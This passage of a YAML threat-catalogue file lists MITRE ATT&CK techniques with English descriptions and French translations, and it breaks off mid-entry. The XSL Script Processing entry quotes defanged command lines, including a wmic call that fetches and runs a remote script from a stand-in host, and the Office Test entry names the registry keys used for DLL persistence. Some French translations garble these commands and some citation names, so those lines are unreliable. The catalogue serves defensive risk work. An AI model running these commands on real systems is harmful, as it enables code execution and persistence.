    translations:
      fr:
        name: "Masquer l\u2019infrastructure"
        description: "Les adversaires peuvent manipuler le trafic r\xE9seau afin de\
          \ dissimuler et d\u2019\xE9chapper \xE0 la d\xE9tection de leur infrastructure\
          \ C2. Cela peut \xEAtre accompli de diverses mani\xE8res, notamment en identifiant\
          \ et en filtrant le trafic \xE0 partir d\u2019outils d\xE9fensifs,(Citation\
          \ : TA571) en masquant les domaines malveillants pour masquer la v\xE9ritable\
          \ destination \xE0 la fois des outils d\u2019analyse automatis\xE9s et des\
          \ chercheurs en s\xE9curit\xE9, (Citation : Schema-abuse)(Citation : Facad1ng)(Citation\
          \ : Browser-updates) et en masquant autrement les artefacts malveillants\
          \ pour retarder la d\xE9couverte et prolonger l\u2019efficacit\xE9 de l\u2019\
          infrastructure adverse qui pourrait autrement \xEAtre identifi\xE9e,  bloqu\xE9\
          \ ou enti\xE8rement d\xE9mantel\xE9.\n\nLes r\xE9seaux C2 peuvent inclure\
          \ l\u2019utilisation de [Proxy](https://attack.mitre.org/techniques/T1090)\
          \ ou de VPN pour dissimuler les adresses IP, ce qui peut permettre aux adversaires\
          \ de se fondre dans le trafic r\xE9seau normal et de contourner les politiques\
          \ d\u2019acc\xE8s conditionnel ou les protections anti-abus. Par exemple,\
          \ un adversaire peut utiliser un cloud priv\xE9 virtuel pour usurper son\
          \ adresse IP afin de s\u2019aligner plus \xE9troitement sur les plages d\u2019\
          adresses IP d\u2019une victime. Cela peut \xE9galement contourner les mesures\
          \ de s\xE9curit\xE9 reposant sur la g\xE9olocalisation de l\u2019adresse\
          \ IP source. (Citation : sysdig)(Citation : Proxys r\xE9sidentiels d\u2019\
          Orange)\n\nLes adversaires peuvent \xE9galement tenter de filtrer le trafic\
          \ r\xE9seau afin d\u2019\xE9chapper aux outils d\xE9fensifs de nombreuses\
          \ fa\xE7ons, notamment en bloquant/redirigeant les agents utilisateurs des\
          \ r\xE9pondeurs d\u2019incidents courants ou des appareils de s\xE9curit\xE9\
          . (Citation : mod_rewrite)(Citation : SocGholish-update) Le filtrage du\
          \ trafic en fonction de l\u2019adresse IP et du g\xE9orep\xE9rage peut \xE9\
          galement \xE9viter le sandboxing automatis\xE9 ou l\u2019activit\xE9 des\
          \ chercheurs (c\u2019est-\xE0-dire [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).\
          \ (R\xE9f\xE9rence : TA571)(Citation : mod_rewrite)\n\nLe masquage de l\u2019\
          infrastructure C2 peut \xE9galement \xEAtre soutenu par des activit\xE9\
          s de [D\xE9veloppement des ressources](https://attack.mitre.org/tactics/TA0042)\
          \ telles que [Acqu\xE9rir l\u2019infrastructure](https://attack.mitre.org/techniques/T1583)\
          \ et [Compromettre l\u2019infrastructure](https://attack.mitre.org/techniques/T1584).\
          \ Par exemple, l\u2019utilisation de services d\u2019h\xE9bergement ou de\
          \ domaines largement fiables, tels que des fournisseurs de raccourcissement\
          \ d\u2019URL de premier plan ou des services de marketing pour les r\xE9\
          seaux C2, peut permettre aux adversaires de pr\xE9senter un contenu inoffensif\
          \ qui redirige ensuite les victimes vers des pages Web ou une infrastructure\
          \ malveillantes une fois que des conditions sp\xE9cifiques sont remplies.\
          \ (Citation : StarBlizzard)(Citation : QR-cofense)\nhttps://attack.mitre.org/techniques/T1665"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1484
    ref_id: T1484
    name: Domain or Tenant Policy Modification
    description: "Adversaries may modify the configuration settings of a domain or\
      \ identity tenant to evade defenses and/or escalate privileges in centrally\
      \ managed environments. Such services provide a centralized means of managing\
      \ identity resources such as devices and accounts, and often include configuration\
      \ settings that may apply between domains or tenants such as trust relationships,\
      \ identity syncing, or identity federation.\n\nModifications to domain or tenant\
      \ settings may include altering domain Group Policy Objects (GPOs) in Microsoft\
      \ Active Directory (AD) or changing trust settings for domains, including federation\
      \ trusts relationships between domains or tenants.\n\nWith sufficient permissions,\
      \ adversaries can modify domain or tenant policy settings. Since configuration\
      \ settings for these services apply to a large number of identity resources,\
      \ there are a great number of potential attacks malicious outcomes that can\
      \ stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs\
      \ to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)\
      \ to computers throughout the domain environment(Citation: ADSecurity GPO Persistence\
      \ 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n\
      * modifying domain trusts to include an adversary-controlled domain, allowing\
      \ adversaries to  forge access tokens that will subsequently be accepted by\
      \ victim domain resources(Citation: Microsoft - Customer Guidance on Recent\
      \ Nation-State Cyber Attacks)\n* changing configuration settings within the\
      \ AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\
      * adding new, adversary-controlled federated identity providers to identity\
      \ tenants, allowing adversaries to authenticate as any user managed by the victim\
      \ tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may\
      \ temporarily modify domain or tenant policy, carry out a malicious action(s),\
      \ and then revert the change to remove suspicious indicators.\nhttps://attack.mitre.org/techniques/T1484"
    translations:
      fr:
        name: Modification de la politique du domaine ou du locataire
        description: "Les adversaires peuvent modifier les param\xE8tres de configuration\
          \ d\u2019un domaine ou d\u2019un locataire d\u2019identit\xE9 pour \xE9\
          chapper aux d\xE9fenses et/ou \xE9lever les privil\xE8ges dans des environnements\
          \ g\xE9r\xE9s de mani\xE8re centralis\xE9e. Ces services fournissent un\
          \ moyen centralis\xE9 de g\xE9rer les ressources d\u2019identit\xE9 telles\
          \ que les appareils et les comptes, et incluent souvent des param\xE8tres\
          \ de configuration qui peuvent s\u2019appliquer entre des domaines ou des\
          \ locataires, tels que les relations d\u2019approbation, la synchronisation\
          \ d\u2019identit\xE9 ou la f\xE9d\xE9ration d\u2019identit\xE9.\n\nLes modifications\
          \ apport\xE9es aux param\xE8tres de domaine ou de locataire peuvent inclure\
          \ la modification des objets de strat\xE9gie de groupe (GPO) de domaine\
          \ dans Microsoft Active Directory (AD) ou la modification des param\xE8\
          tres d\u2019approbation des domaines, y compris les relations d\u2019approbation\
          \ de f\xE9d\xE9ration entre les domaines ou les locataires.\n\nAvec des\
          \ autorisations suffisantes, les adversaires peuvent modifier les param\xE8\
          tres de strat\xE9gie de domaine ou de locataire. \xC9tant donn\xE9 que les\
          \ param\xE8tres de configuration de ces services s\u2019appliquent \xE0\
          \ un grand nombre de ressources d\u2019identit\xE9, il existe un grand nombre\
          \ d\u2019attaques potentielles, de r\xE9sultats malveillants qui peuvent\
          \ d\xE9couler de cet abus. Voici des exemples de tels abus :  \n\n* modification\
          \ des GPO pour envoyer une [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)\
          \ malveillante aux ordinateurs de l\u2019environnement du domaine(Citation\_\
          : ADSecurity GPO Persistence 2016)(Citation\_: Wald0 Guide to GPOs)(Citation\_\
          : Harmj0y Abusing GPO Permissions)\n* modifier les approbations de domaine\
          \ pour inclure un domaine contr\xF4l\xE9 par l\u2019adversaire, permettant\
          \ aux adversaires de falsifier des jetons d\u2019acc\xE8s qui seront ensuite\
          \ accept\xE9s par les ressources du domaine victime(Citation\_: Microsoft\
          \ - Customer Guidance on Recent Nation-State Cyber Attacks)\n* modification\
          \ des param\xE8tres de configuration dans l\u2019environnement AD pour impl\xE9\
          menter un [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\
          * l\u2019ajout de nouveaux fournisseurs d\u2019identit\xE9 f\xE9d\xE9r\xE9\
          s contr\xF4l\xE9s par l\u2019adversaire aux locataires d\u2019identit\xE9\
          , permettant aux adversaires de s\u2019authentifier en tant qu\u2019utilisateur\
          \ g\xE9r\xE9 par le locataire victime (Citation : Okta Cross-Tenant Impersonation\
          \ 2023)\n\nLes adversaires peuvent modifier temporairement la politique\
          \ du domaine ou du locataire, effectuer une ou plusieurs actions malveillantes,\
          \ puis annuler la modification pour supprimer les indicateurs suspects.\n\
          https://attack.mitre.org/techniques/T1484"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1220
    ref_id: T1220
    name: XSL Script Processing
    description: "Adversaries may bypass application control and obscure execution\
      \ of code by embedding scripts inside XSL files. Extensible Stylesheet Language\
      \ (XSL) files are commonly used to describe the processing and rendering of\
      \ data within XML files. To support complex operations, the XSL standard includes\
      \ support for embedded scripting in various languages. (Citation: Microsoft\
      \ XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute\
      \ arbitrary files while potentially bypassing application control. Similar to\
      \ [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127),\
      \ the Microsoft common line transformation utility binary (msxsl.exe) (Citation:\
      \ Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript\
      \ embedded within local or remote (URL referenced) XSL files. (Citation: Penetration\
      \ Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default,\
      \ an adversary will likely need to package it with dropped files. (Citation:\
      \ Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an\
      \ XML source file and an XSL stylesheet. Since the XSL file is valid XML, the\
      \ adversary may call the same XSL file twice. When using msxsl.exe adversaries\
      \ may also give the XML/XSL files an arbitrary file extension.(Citation: XSL\
      \ Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab\
      \ MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml\
      \ script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n\
      * <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of\
      \ this technique, dubbed \u201CSquiblytwo\u201D, involves using [Windows Management\
      \ Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript\
      \ or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can\
      \ also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/\
      \ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries\
      \ may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)\
      \ provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\
      \nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\
      \n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote\
      \ File: <code>wmic os get /FORMAT:\u201Dhttps[:]//example[.]com/evil[.]xsl\u201D\
      </code>\nhttps://attack.mitre.org/techniques/T1220"
    translations:
      fr:
        name: Traitement des scripts XSL
        description: "Les adversaires peuvent contourner le contr\xF4le des applications\
          \ et masquer l\u2019ex\xE9cution du code en int\xE9grant des scripts dans\
          \ des fichiers XSL. Les fichiers XSL (Extensible Stylesheet Language) sont\
          \ couramment utilis\xE9s pour d\xE9crire le traitement et le rendu des donn\xE9\
          es dans les fichiers XML. Pour prendre en charge des op\xE9rations complexes,\
          \ la norme XSL inclut la prise en charge des scripts int\xE9gr\xE9s dans\
          \ diff\xE9rents langages. (Citation : Microsoft XSLT Script mars 2017)\n\
          \nLes adversaires peuvent abuser de cette fonctionnalit\xE9 pour ex\xE9\
          cuter des fichiers arbitraires tout en contournant potentiellement le contr\xF4\
          le des applications. \xC0 l\u2019instar de [Trusted Developer Utilities\
          \ Proxy Execution](https://attack.mitre.org/techniques/T1127), l\u2019utilitaire\
          \ de transformation de ligne commune (msxsl.exe) de Microsoft (Citation\
          \ : Microsoft msxsl.exe) peut \xEAtre install\xE9 et utilis\xE9 pour ex\xE9\
          cuter du code JavaScript malveillant incorpor\xE9 dans des fichiers XSL\
          \ locaux ou distants (URL r\xE9f\xE9renc\xE9es). (Citation : Laboratoire\
          \ d\u2019essais d\u2019intrusion MSXSL juillet 2017) \xC9tant donn\xE9 que\
          \ msxsl.exe n\u2019est pas install\xE9 par d\xE9faut, un adversaire devra\
          \ probablement l\u2019empaqueter avec des fichiers abandonn\xE9s. (Citation\
          \ : Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe prend deux arguments\
          \ principaux, un fichier source XML et une feuille de style XSL. \xC9tant\
          \ donn\xE9 que le fichier XSL est valide en XML, l\u2019adversaire peut\
          \ appeler deux fois le m\xEAme fichier XSL. Lors de l\u2019utilisation de\
          \ msxsl.exe adversaires peuvent \xE9galement donner aux fichiers XML/XSL\
          \ une extension de fichier arbitraire. (Citation : XSL Bypass mars 2019)\n\
          \nExemples de ligne de commande :(Citation : Laboratoire de test d\u2019\
          intrusion MSXSL juillet 2017) (Citation : XSL Bypass mars 2019)\n\n* <code>msxsl.exe\
          \ clients[.]script xml[.]xsl</code>\n* <code>msxsl.exe script[.]script xsl[.]xsl</code>\n\
          * <code>msxsl.exe script[.]script jpeg[.]Jpeg</code>\n\nUne autre variante\
          \ de cette technique, baptis\xE9e \xAB Squiblytwo \xBB, consiste \xE0 utiliser\
          \ [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)\
          \ pour appeler JScript ou VBScript dans un fichier XSL. (Citation : LOLBAS\
          \ Wmic) Cette technique peut \xE9galement ex\xE9cuter des scripts locaux/distants\
          \ et, \xE0 l\u2019instar de son homologue [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/\
          \ \xAB\_Squiblydoo\_\xBB, exploite un outil Windows int\xE9gr\xE9 et fiable.\
          \ Les adversaires peuvent abuser de n\u2019importe quel alias dans [Windows\
          \ Management Instrumentation](https://attack.mitre.org/techniques/T1047)\
          \ \xE0 condition d\u2019utiliser le commutateur /FORMAT. (Citation : XSL\
          \ Bypass mars 2019)\n\nExemples de ligne de commande :(Citation : XSL Bypass\
          \ Mar 2019)(Citation : LOLBAS Wmic)\n\n* Fichier local : <code>liste de\
          \ processus wmic /FORMAT\_:evil[.]xsl</code>\n* Fichier distant : <code>wmic\
          \ os get /FORMAT\_:\"https[\_:]//example[.]com/mal[.]xsl\"</code>\nhttps://attack.mitre.org/techniques/T1220"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1596.005
    ref_id: T1596.005
    name: Scan Databases
    description: 'Adversaries may search within public scan databases for information
      about victims that can be used during targeting. Various online services continuously
      publish the results of Internet scans/surveys, often harvesting information
      such as active IP addresses, hostnames, open ports, certificates, and even server
      banners.(Citation: Shodan)


      Adversaries may search scan databases to gather actionable information. Threat
      actors can use online resources and lookup tools to harvest information from
      these services. Adversaries may seek information about their already identified
      targets, or use these datasets to discover opportunities for successful breaches.
      Information from these sources may reveal opportunities for other forms of reconnaissance
      (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search
      Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing
      operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
      or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

      https://attack.mitre.org/techniques/T1596/005'
    translations:
      fr:
        name: "Analyser les bases de donn\xE9es"
        description: "Les adversaires peuvent rechercher dans les bases de donn\xE9\
          es d\u2019analyse publiques des informations sur les victimes qui peuvent\
          \ \xEAtre utilis\xE9es lors du ciblage. Divers services en ligne publient\
          \ en permanence les r\xE9sultats d\u2019analyses/enqu\xEAtes sur Internet,\
          \ r\xE9coltant souvent des informations telles que des adresses IP actives,\
          \ des noms d\u2019h\xF4te, des ports ouverts, des certificats et m\xEAme\
          \ des banni\xE8res de serveur. (Citation : Shodan)\n\nLes adversaires peuvent\
          \ effectuer des recherches dans des bases de donn\xE9es pour recueillir\
          \ des informations exploitables. Les auteurs de menace peuvent utiliser\
          \ des ressources en ligne et des outils de recherche pour recueillir de\
          \ l\u2019information aupr\xE8s de ces services. Les adversaires peuvent\
          \ rechercher des informations sur leurs cibles d\xE9j\xE0 identifi\xE9es\
          \ ou utiliser ces ensembles de donn\xE9es pour d\xE9couvrir des opportunit\xE9\
          s de violations r\xE9ussies. Les informations provenant de ces sources peuvent\
          \ r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Balayage actif](https://attack.mitre.org/techniques/T1595) ou [Recherche\
          \ de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [T\xE9l\xE9commande externe Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Exploiter l\u2019application publique](https://attack.mitre.org/techniques/T1190)).\n\
          https://attack.mitre.org/techniques/T1596/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.001
    ref_id: T1564.001
    name: Hidden Files and Directories
    description: "Adversaries may set files and directories to be hidden to evade\
      \ detection mechanisms. To prevent normal users from accidentally changing special\
      \ files on a system, most operating systems have the concept of a \u2018hidden\u2019\
      \ file. These files don\u2019t show up when a user browses the file system with\
      \ a GUI or when using normal commands on the command line. Users must explicitly\
      \ ask to show the hidden files either via a series of Graphical User Interface\
      \ (GUI) prompts or with command line switches (<code>dir /a</code> for Windows\
      \ and <code>ls \u2013a</code> for Linux and macOS).\n\nOn Linux and Mac, users\
      \ can mark specific files as hidden simply by putting a \u201C.\u201D as the\
      \ first character in the file or folder name  (Citation: Sofacy Komplex Trojan)\
      \ (Citation: Antiquated Mac Malware). Files and folders that start with a period,\
      \ \u2018.\u2019, are by default hidden from being viewed in the Finder application\
      \ and standard command-line utilities like \u201Cls\u201D. Users must specifically\
      \ change settings to have these files viewable.\n\nFiles on macOS can also be\
      \ marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app,\
      \ but still allows them to be seen in Terminal.app (Citation: WireLurker). On\
      \ Windows, users can mark specific files as hidden by using the attrib.exe binary.\
      \ Many applications create these hidden files and folders to store information\
      \ so that it doesn\u2019t clutter up the user\u2019s workspace. For example,\
      \ SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019\
      s known hosts and keys.\n\nAdversaries can use this to their advantage to hide\
      \ files and folders anywhere on the system and evading a typical user or system\
      \ analysis that does not incorporate investigation of hidden files.\nhttps://attack.mitre.org/techniques/T1564/001"
    translations:
      fr:
        name: "Fichiers et r\xE9pertoires cach\xE9s"
        description: "Les adversaires peuvent d\xE9finir des fichiers et des r\xE9\
          pertoires \xE0 masquer pour \xE9chapper aux m\xE9canismes de d\xE9tection.\
          \ Pour \xE9viter que les utilisateurs normaux ne modifient accidentellement\
          \ des fichiers sp\xE9ciaux sur un syst\xE8me, la plupart des syst\xE8mes\
          \ d\u2019exploitation ont le concept de fichier \xAB\_cach\xE9\_\xBB. Ces\
          \ fichiers ne s\u2019affichent pas lorsqu\u2019un utilisateur parcourt le\
          \ syst\xE8me de fichiers \xE0 l\u2019aide d\u2019une interface graphique\
          \ ou lors de l\u2019utilisation de commandes normales sur la ligne de commande.\
          \ Les utilisateurs doivent demander explicitement \xE0 afficher les fichiers\
          \ cach\xE9s, soit via une s\xE9rie d\u2019invites d\u2019interface utilisateur\
          \ graphique (GUI), soit avec des commutateurs de ligne de commande (<code>dir\
          \ /a</code> pour Windows et <code>ls -a</code> pour Linux et macOS).\n\n\
          Sous Linux et Mac, les utilisateurs peuvent marquer des fichiers sp\xE9\
          cifiques comme cach\xE9s simplement en mettant un \xAB\_.\_\xBB comme premier\
          \ caract\xE8re dans le nom du fichier ou du dossier (Citation\_: Sofacy\
          \ Komplex Trojan) (Citation\_: Antiquated Mac Malware). Par d\xE9faut, les\
          \ fichiers et les dossiers commen\xE7ant par un point, \xAB . \xBB, ne peuvent\
          \ plus \xEAtre affich\xE9s dans l\u2019application Finder et les utilitaires\
          \ de ligne de commande standard tels que \xAB ls \xBB. Les utilisateurs\
          \ doivent modifier sp\xE9cifiquement les param\xE8tres pour que ces fichiers\
          \ puissent \xEAtre affich\xE9s.\n\nLes fichiers sur macOS peuvent \xE9galement\
          \ \xEAtre marqu\xE9s avec l\u2019indicateur UF_HIDDEN qui les emp\xEAche\
          \ d\u2019\xEAtre vus dans Finder.app, mais leur permet toujours d\u2019\xEA\
          tre vus dans Terminal.app (Citation\_: WireLurker). Sous Windows, les utilisateurs\
          \ peuvent marquer des fichiers sp\xE9cifiques comme masqu\xE9s \xE0 l\u2019\
          aide du binaire attrib.exe. De nombreuses applications cr\xE9ent ces fichiers\
          \ et dossiers cach\xE9s pour stocker des informations afin qu\u2019elles\
          \ n\u2019encombrent pas l\u2019espace de travail de l\u2019utilisateur.\
          \ Par exemple, les utilitaires SSH cr\xE9ent un dossier .ssh masqu\xE9 qui\
          \ contient les h\xF4tes et les cl\xE9s connus de l\u2019utilisateur.\n\n\
          Les adversaires peuvent l\u2019utiliser \xE0 leur avantage pour cacher des\
          \ fichiers et des dossiers n\u2019importe o\xF9 sur le syst\xE8me et \xE9\
          chapper \xE0 une analyse typique de l\u2019utilisateur ou du syst\xE8me\
          \ qui n\u2019int\xE8gre pas l\u2019investigation des fichiers cach\xE9s.\n\
          https://attack.mitre.org/techniques/T1564/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1578.001
    ref_id: T1578.001
    name: Create Snapshot
    description: 'An adversary may create a snapshot or data backup within a cloud
      account to evade defenses. A snapshot is a point-in-time copy of an existing
      cloud compute component such as a virtual machine (VM), virtual hard drive,
      or volume. An adversary may leverage permissions to create a snapshot in order
      to bypass restrictions that prevent access to existing compute service infrastructure,
      unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004)
      where an adversary may revert to a snapshot to evade detection and remove evidence
      of their presence.


      An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002),
      mount one or more created snapshots to that instance, and then apply a policy
      that allows the adversary access to the created instance, such as a firewall
      policy that allows them inbound and outbound SSH access.(Citation: Mandiant
      M-Trends 2020)

      https://attack.mitre.org/techniques/T1578/001'
    translations:
      fr:
        name: "Cr\xE9er un instantan\xE9"
        description: "Un adversaire peut cr\xE9er un instantan\xE9 ou une sauvegarde\
          \ de donn\xE9es au sein d\u2019un compte cloud pour \xE9chapper aux d\xE9\
          fenses. Un instantan\xE9 est une copie instantan\xE9e d\u2019un composant\
          \ de calcul cloud existant, tel qu\u2019une machine virtuelle (VM), un disque\
          \ dur virtuel ou un volume. Un adversaire peut tirer parti des autorisations\
          \ pour cr\xE9er un instantan\xE9 afin de contourner les restrictions qui\
          \ emp\xEAchent l\u2019acc\xE8s \xE0 l\u2019infrastructure de service de\
          \ calcul existante, contrairement \xE0 [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004)\
          \ o\xF9 un adversaire peut revenir \xE0 un instantan\xE9 pour \xE9chapper\
          \ \xE0 la d\xE9tection et supprimer les preuves de sa pr\xE9sence.\n\nUn\
          \ adversaire peut [Cr\xE9er une instance cloud](https://attack.mitre.org/techniques/T1578/002),\
          \ monter un ou plusieurs instantan\xE9s cr\xE9\xE9s sur cette instance,\
          \ puis appliquer une strat\xE9gie qui permet \xE0 l\u2019adversaire d\u2019\
          acc\xE9der \xE0 l\u2019instance cr\xE9\xE9e, telle qu\u2019une strat\xE9\
          gie de pare-feu qui lui permet d\u2019acc\xE9der SSH entrant et sortant.\
          \ (Citation : Mandiant M-Trends 2020)\nhttps://attack.mitre.org/techniques/T1578/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1591.001
    ref_id: T1591.001
    name: Determine Physical Locations
    description: 'Adversaries may gather the victim''s physical location(s) that can
      be used during targeting. Information about physical locations of a target organization
      may include a variety of details, including where key resources and infrastructure
      are housed. Physical locations may also indicate what legal jurisdiction and/or
      authorities the victim operates within.


      Adversaries may gather this information in various ways, such as direct elicitation
      via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical
      locations of a target organization may also be exposed to adversaries via online
      or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)
      or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation:
      ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information
      may reveal opportunities for other forms of reconnaissance (ex: [Phishing for
      Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or
      [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

      https://attack.mitre.org/techniques/T1591/001'
    translations:
      fr:
        name: "D\xE9terminer les emplacements physiques"
        description: "Les adversaires peuvent recueillir le(s) emplacement(s) physique(s)\
          \ de la victime qui peuvent \xEAtre utilis\xE9s lors du ciblage. Les informations\
          \ sur l\u2019emplacement physique d\u2019une organisation cible peuvent\
          \ inclure une vari\xE9t\xE9 de d\xE9tails, y compris l\u2019emplacement\
          \ des ressources et de l\u2019infrastructure cl\xE9s. Les lieux physiques\
          \ peuvent \xE9galement indiquer la juridiction et/ou les autorit\xE9s dans\
          \ lesquelles la victime op\xE8re.\n\nLes adversaires peuvent recueillir\
          \ ces informations de diff\xE9rentes mani\xE8res, par exemple par le biais\
          \ de l\u2019hame\xE7onnage par le biais de [Phishing for Information](https://attack.mitre.org/techniques/T1598).\
          \ L\u2019emplacement physique d\u2019une organisation cible peut \xE9galement\
          \ \xEAtre expos\xE9 \xE0 des adversaires par le biais d\u2019outils en ligne\
          \ ou d\u2019autres ensembles de donn\xE9es accessibles (p. ex., [sites Web\
          \ appartenant \xE0 une victime de recherche](https://attack.mitre.org/techniques/T1594)\
          \ ou [m\xE9dias sociaux](https://attack.mitre.org/techniques/T1593/001)).\
          \ (Citation : Fuite ThreatPost Broadvoice)(R\xE9f\xE9rence : SEC EDGAR Search)\
          \ La collecte de ces informations peut r\xE9v\xE9ler des possibilit\xE9\
          s pour d\u2019autres formes de reconnaissance (ex : [Hame\xE7onnage pour\
          \ obtenir des informations](https://attack.mitre.org/techniques/T1598) ou\
          \ [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [Hame\xE7onnage]( https://attack.mitre.org/techniques/T1566)\
          \ ou [Ajouts mat\xE9riels](https://attack.mitre.org/techniques/T1200)).\n\
          https://attack.mitre.org/techniques/T1591/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1137.002
    ref_id: T1137.002
    name: Office Test
    description: 'Adversaries may abuse the Microsoft Office "Office Test" Registry
      key to obtain persistence on a compromised system. An Office Test Registry location
      exists that allows a user to specify an arbitrary DLL that will be executed
      every time an Office application is started. This Registry key is thought to
      be used by Microsoft to load DLLs for testing and debugging purposes while developing
      Office applications. This Registry key is not created by default during an Office
      installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test
      Sofacy)


      There exist user and global Registry keys for the Office Test feature, such
      as:


      * <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>

      * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code>


      Adversaries may add this Registry key and specify a malicious DLL that will
      be executed whenever an Office application, such as Word or Excel, is started.

      https://attack.mitre.org/techniques/T1137/002'
    translations:
      fr:
        name: Test de bureau
        description: "Les adversaires peuvent abuser de la cl\xE9 de registre Microsoft\
          \ Office \xAB Office Test \xBB pour obtenir la persistance sur un syst\xE8\
          me compromis. Il existe un emplacement de registre de test Office qui permet\
          \ \xE0 un utilisateur de sp\xE9cifier une DLL arbitraire qui sera ex\xE9\
          cut\xE9e chaque fois qu\u2019une application Office est d\xE9marr\xE9e.\
          \ Cette cl\xE9 de registre est cens\xE9e \xEAtre utilis\xE9e par Microsoft\
          \ pour charger des DLL \xE0 des fins de test et de d\xE9bogage lors du d\xE9\
          veloppement d\u2019applications Office. Cette cl\xE9 de registre n\u2019\
          est pas cr\xE9\xE9e par d\xE9faut lors d\u2019une installation d\u2019Office.\
          \ (Citation : Test du bureau Hexacorn)(Citation\_: Canap\xE9 d\u2019essai\
          \ du bureau de Palo Alto)\n\nIl existe des cl\xE9s de registre utilisateur\
          \ et globales pour la fonctionnalit\xE9 Office Test, telles que :\n\n* <code>HKEY_CURRENT_USER\
          \ \\ Software \\ Microsoft \\ Office test \\ Sp\xE9cial \\ Perf</code>\n\
          * <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\\
          Perf</code>\n\nLes adversaires peuvent ajouter cette cl\xE9 de registre\
          \ et sp\xE9cifier une DLL malveillante qui sera ex\xE9cut\xE9e chaque fois\
          \ qu\u2019une application Office, telle que Word ou Excel, est d\xE9marr\xE9\
          e.\nhttps://attack.mitre.org/techniques/T1137/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1587
    ref_id: T1587
    name: Develop Capabilities
    description: 'Adversaries may build capabilities that can be used during targeting.
      Rather than purchasing, freely downloading, or stealing capabilities, adversaries
      may develop their own capabilities in-house. This is the process of identifying
      development requirements and building solutions such as malware, exploits, and
      self-signed certificates. Adversaries may develop capabilities to support their
      operations throughout numerous phases of the adversary lifecycle.(Citation:
      Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity
      June 2020)(Citation: Talos Promethium June 2020)


      As with legitimate development efforts, different skill sets may be required
      for developing capabilities. The skills needed may be located in-house, or may
      need to be contracted out. Use of a contractor may be considered an extension
